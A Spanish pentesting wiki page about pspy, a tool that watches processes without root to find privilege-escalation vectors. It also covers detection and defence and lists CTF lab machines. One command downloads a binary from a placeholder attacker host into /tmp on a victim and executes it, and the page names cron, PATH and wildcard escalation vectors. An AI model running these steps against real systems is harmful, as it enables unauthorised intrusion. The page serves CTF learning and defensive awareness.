pspy: spy on processes without root
pspy es una herramienta que permite ver los procesos que se ejecutan en el sistema en tiempo real sin necesidad de ser root. Es clave en la fase de escalada de privilegios: muchos vectores (tareas cron, timers de systemd, scripts lanzados por servicios) sólo se revelan al observar qué se ejecuta y con qué usuario, algo que un ps puntual no captura si el proceso es breve.
Cómo funciona
En lugar de pedir permisos, pspy vigila el sistema de ficheros con inotify (sobre /proc y los directorios de tareas programadas) y lista cada proceso nuevo en cuanto aparece, con su PID, UID y la línea de comando completa. Así captura procesos efímeros (los de un cron que dura un segundo) que de otro modo pasarían desapercibidos.
Uso típico
Es un binario estático que se sube a la víctima y se ejecuta. Hay versiones de 32 y 64 bits, con y sin la librería estándar embebida:
wget http://<lhost>/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000-pvigila procesos,-fvigila también eventos de fichero (-pf= ambos).-i 1000sondea/proccada 1000 ms además de los eventosinotify(captura lo queinotifyno cubre).pspy32/pspy64spara arquitecturas de 32 bits o binarios más pequeños.
Si no se puede subir el binario, una alternativa cruda es un bucle en Bash que muestre las diferencias de ps (menos fiable con procesos muy breves):
while true; do ps -eo pid,user,cmd --sort=start_time | tail -5; sleep 1; doneQué buscar
Procesos que corran como root de forma periódica: un script en una ruta escribible (scripts cron escribibles), un binario sin ruta absoluta (secuestro del PATH), tar/zip con comodines (inyección por comodín), o utilidades como logrotate (abuso de logrotate) que tocan ficheros que controlamos. La frecuencia y el UID del proceso indican si hay un vector de elevación. Anotar la ruta exacta y comprobar permisos con ls -la.
Por qué importa
Convierte la enumeración de tareas programadas, que de otro modo depende de leer /etc/crontab, /etc/cron.* y los crontabs de usuario (no siempre legibles), en una observación directa. Si una tarea root está oculta en un crontab privado (/var/spool/cron/crontabs/root) que no podemos leer, pspy la delata por su ejecución.
Cómo detectarlo (uso del atacante). pspy en sí no lanza syscalls privilegiadas, pero deja rastro: un proceso de usuario que abre miles de watches inotify y lee /proc/*/stat/cmdline de forma masiva y sostenida es anómalo (visible con auditd sobre inotify_add_watch o por el número de descriptores en /proc/<pid>/fd). En un host monitorizado, un binario sin firma en /tmp con ese patrón de acceso a /proc es el indicador.
Defensa. No ejecutar tareas privilegiadas sobre ficheros o directorios escribibles por usuarios; usar rutas absolutas en los scripts de cron; minimizar lo que corre como root periódicamente. Relacionado con scripts cron escribibles y logrotate.
Máquinas donde se aplica
- CelestialHackTheBox
- NorCDockerLabs
- SickOs 1.2VulnHub
- Symfonos 3VulnHub
- Vulnerable Lab (1 · 4 · 5)VulnHub